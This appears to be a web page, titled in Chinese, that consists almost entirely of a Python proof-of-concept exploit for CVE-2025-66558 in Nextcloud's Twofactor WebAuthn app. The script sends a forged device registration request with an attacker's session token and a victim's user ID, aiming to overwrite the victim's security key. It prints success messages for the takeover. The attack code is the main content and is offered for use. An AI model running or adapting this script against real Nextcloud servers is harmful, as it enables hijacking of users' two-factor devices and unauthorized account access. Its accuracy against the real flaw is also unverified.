CVE-2025-66558 Nextcloud Twofactor WebAuthn 设备劫持漏洞

import requests import random import string # CVE-2025-66558 PoC - Nextcloud Twofactor WebAuthn Device Hijacking # This PoC demonstrates the device ownership verification bypass TARGET_URL = "https://vulnerable-nextcloud-server" ATTACKER_TOKEN = "attacker_session_token" VICTIM_USER_ID = "victim_user_id" def generate_random_credential_id(length=80): """Generate a random credential ID (80-128 chars) as in the vulnerability""" chars = string.ascii_letters + string.digits + string.punctuation return ''.join(random.choice(chars) for _ in range(length)) def exploit_device_hijacking(): """ Attack flow: 1. Attacker generates a random credential ID 2. Attacker sends device registration request to victim's account 3. Server accepts the request without verifying ownership 4. Victim's original WebAuthn device is overwritten """ session = requests.Session() session.headers.update({'Authorization': f'Bearer {ATTACKER_TOKEN}'}) # Step 1: Generate random credential ID (80-128 chars) credential_id = generate_random_credential_id(80) # Step 2: Prepare device registration payload payload = { 'credentialId': credential_id, 'userId': VICTIM_USER_ID, 'deviceName': 'Malicious Security Key', 'publicKey': 'attacker_generated_public_key' } # Step 3: Send registration request (vulnerable endpoint) # The server should reject this but doesn't due to missing ownership check response = session.post( f"{TARGET_URL}/apps/twofactor_webauthn/api/v1/register", json=payload ) # Step 4: Check if device was successfully hijacked if response.status_code == 200: print("[+] Device hijacking successful!") print("[-] Victim will be prompted to re-register device on next login") else: print("[-] Attack failed or server has been patched") return response.status_code == 200 if __name__ == "__main__": print("CVE-2025-66558 PoC - Nextcloud Twofactor WebAuthn") print("Vulnerability: Missing ownership check allows device takeover") exploit_device_hijacking()